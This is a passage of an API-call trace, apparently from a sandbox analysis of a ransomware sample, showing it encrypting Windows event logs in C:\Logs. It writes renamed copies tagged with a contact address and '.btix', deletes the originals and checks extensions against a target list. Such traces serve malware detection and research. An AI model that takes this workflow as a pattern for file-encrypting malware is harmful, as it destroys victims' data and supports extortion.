lpOverlapped=0x0) returned 1 [0051.932] SetEndOfFile (hFile=0x320) returned 1 [0051.933] CloseHandle (hObject=0x320) returned 1 [0051.934] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.934] SetEndOfFile (hFile=0x308) returned 1 [0051.935] CloseHandle (hObject=0x308) returned 1 [0051.935] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.936] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0051.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.936] lstrlenW (lpString=".doc") returned 4 [0051.936] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.936] lstrlenW (lpString=".docx") returned 5 [0051.936] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.936] lstrlenW (lpString=".pdf") returned 4 [0051.936] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.936] lstrlenW (lpString=".xls") returned 4 [0051.936] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.936] lstrlenW (lpString=".xlsx") returned 5 [0051.936] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.936] lstrlenW (lpString=".ppt") returned 4 [0051.936] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.936] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.936] lstrlenW (lpString=".zip") returned 4 [0051.936] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.936] lstrlenW (lpString=".rar") returned 4 [0051.936] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.936] lstrlenW (lpString=".bz2") returned 4 [0051.936] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.936] lstrlenW (lpString=".7z") returned 3 [0051.937] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.937] lstrlenW (lpString=".dbf") returned 4 [0051.937] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.937] lstrlenW (lpString=".1cd") returned 4 [0051.937] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.937] lstrlenW (lpString=".jpg") returned 4 [0051.937] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.937] lstrlenW (lpString=".doc") returned 4 [0051.937] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.937] lstrlenW (lpString=".docx") returned 5 [0051.937] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.937] lstrlenW (lpString=".pdf") returned 4 [0051.937] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.937] lstrlenW (lpString=".xls") returned 4 [0051.937] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.937] lstrlenW (lpString=".xlsx") returned 5 [0051.937] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.937] lstrlenW (lpString=".ppt") returned 4 [0051.937] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.937] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.937] lstrlenW (lpString=".zip") returned 4 [0051.937] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.937] lstrlenW (lpString=".rar") returned 4 [0051.937] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.937] lstrlenW (lpString=".bz2") returned 4 [0051.937] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.938] lstrlenW (lpString=".7z") returned 3 [0051.938] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.938] lstrlenW (lpString=".dbf") returned 4 [0051.938] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.938] lstrlenW (lpString=".1cd") returned 4 [0051.938] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.938] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0051.938] lstrlenW (lpString=".jpg") returned 4 [0051.938] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.938] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.938] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72 [0051.938] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.938] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0051.938] CloseHandle (hObject=0x308) returned 1 [0051.938] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20 [0051.938] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.939] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0051.939] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.939] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.939] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0051.939] GetLastError () returned 0x0 [0051.939] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.042] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.044] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.044] WriteFile (in: hFile=0x320, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x164, lpOverlapped=0x0) returned 1 [0052.044] SetEndOfFile (hFile=0x320) returned 1 [0052.048] CloseHandle (hObject=0x320) returned 1 [0052.051] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.052] SetEndOfFile (hFile=0x308) returned 1 [0052.056] CloseHandle (hObject=0x308) returned 1 [0052.057] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.057] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1 [0052.057] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.057] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.057] lstrlenW (lpString=".doc") returned 4 [0052.057] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.057] lstrlenW (lpString=".docx") returned 5 [0052.057] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.057] lstrlenW (lpString=".pdf") returned 4 [0052.057] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.057] lstrlenW (lpString=".xls") returned 4 [0052.057] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.057] lstrlenW (lpString=".xlsx") returned 5 [0052.057] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.057] lstrlenW (lpString=".ppt") returned 4 [0052.057] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.058] lstrlenW (lpString=".zip") returned 4 [0052.058] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString=".rar") returned 4 [0052.058] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString=".bz2") returned 4 [0052.058] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString=".7z") returned 3 [0052.058] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.058] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.058] lstrlenW (lpString=".dbf") returned 4 [0052.058] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.058] lstrlenW (lpString=".1cd") returned 4 [0052.058] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.058] lstrlenW (lpString=".jpg") returned 4 [0052.058] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.058] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.058] lstrlenW (lpString=".doc") returned 4 [0052.058] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString=".docx") returned 5 [0052.058] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.058] lstrlenW (lpString=".pdf") returned 4 [0052.058] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString=".xls") returned 4 [0052.058] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString=".xlsx") returned 5 [0052.058] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.058] lstrlenW (lpString=".ppt") returned 4 [0052.058] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.058] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.058] lstrlenW (lpString=".zip") returned 4 [0052.058] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.059] lstrlenW (lpString=".rar") returned 4 [0052.059] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.059] lstrlenW (lpString=".bz2") returned 4 [0052.059] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.059] lstrlenW (lpString=".7z") returned 3 [0052.059] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.059] lstrlenW (lpString=".dbf") returned 4 [0052.059] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.059] lstrlenW (lpString=".1cd") returned 4 [0052.059] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80 [0052.059] lstrlenW (lpString=".jpg") returned 4 [0052.059] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.059] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.059] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42 [0052.059] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.060] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0052.060] CloseHandle (hObject=0x308) returned 1 [0052.060] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0052.060] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.060] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.060] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.060] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.060] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0052.060] GetLastError () returned 0x0 [0052.060] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.115] WriteFile (in: hFile=0x390, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.117] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.117] WriteFile (in: hFile=0x390, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x128, lpOverlapped=0x0) returned 1 [0052.117] SetEndOfFile (hFile=0x390) returned 1 [0052.117] CloseHandle (hObject=0x390) returned 1 [0052.118] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.118] SetEndOfFile (hFile=0x308) returned 1 [0052.120] CloseHandle (hObject=0x308) returned 1 [0052.120] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.120] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0052.120] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.120] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.120] lstrlenW (lpString=".doc") returned 4 [0052.120] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.120] lstrlenW (lpString=".docx") returned 5 [0052.120] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.120] lstrlenW (lpString=".pdf") returned 4 [0052.120] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.120] lstrlenW (lpString=".xls") returned 4 [0052.120] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.120] lstrlenW (lpString=".xlsx") returned 5 [0052.120] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.120] lstrlenW (lpString=".ppt") returned 4 [0052.120] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.120] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.120] lstrlenW (lpString=".zip") returned 4 [0052.121] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString=".rar") returned 4 [0052.121] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString=".bz2") returned 4 [0052.121] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString=".7z") returned 3 [0052.121] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.121] lstrlenW (lpString=".dbf") returned 4 [0052.121] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.121] lstrlenW (lpString=".1cd") returned 4 [0052.121] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.121] lstrlenW (lpString=".jpg") returned 4 [0052.121] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.121] lstrlenW (lpString=".doc") returned 4 [0052.121] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString=".docx") returned 5 [0052.121] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.121] lstrlenW (lpString=".pdf") returned 4 [0052.121] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString=".xls") returned 4 [0052.121] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString=".xlsx") returned 5 [0052.121] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.121] lstrlenW (lpString=".ppt") returned 4 [0052.121] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.121] lstrlenW (lpString=".zip") returned 4 [0052.121] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString=".rar") returned 4 [0052.121] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0052.121] lstrlenW (lpString=".bz2") returned 4 [0052.122] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0052.122] lstrlenW (lpString=".7z") returned 3 [0052.122] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0052.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.122] lstrlenW (lpString=".dbf") returned 4 [0052.122] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0052.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.122] lstrlenW (lpString=".1cd") returned 4 [0052.122] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0052.122] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0052.122] lstrlenW (lpString=".jpg") returned 4 [0052.122] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.122] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.122] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44 [0052.122] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.122] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0052.122] CloseHandle (hObject=0x308) returned 1 [0052.122] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 0x20 [0052.122] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.123] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0052.123] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.123] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.123] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0052.163] GetLastError () returned 0x0 [0052.163] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.194] WriteFile (in: hFile=0x324, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.196] ReadFile (in: hFile=0x308, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.196] WriteFile (in: hFile=0x324, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x12c, lpOverlapped=0x0) returned 1 [0052.196] SetEndOfFile (hFile=0x324) returned 1 [0052.204] CloseHandle (hObject=0x324) returned 1 [0052.206] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.206] SetEndOfFile (hFile=0x308) returned 1 [0052.207] CloseHandle (hObject=0x308) returned 1 [0052.207] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.207] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx")) returned 1 [0052.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.207] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 52 [0052.207] lstrlenW (lpString=".doc") returned 4 [0052.208] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString=".docx") returned 5 [0052.208] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.208] lstrlenW (lpString=".pdf") returned 4 [0052.208] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString=".xls") returned 4 [0052.208] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.208] lstrlenW (lpString=".xlsx") returned 5 [0052.208] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 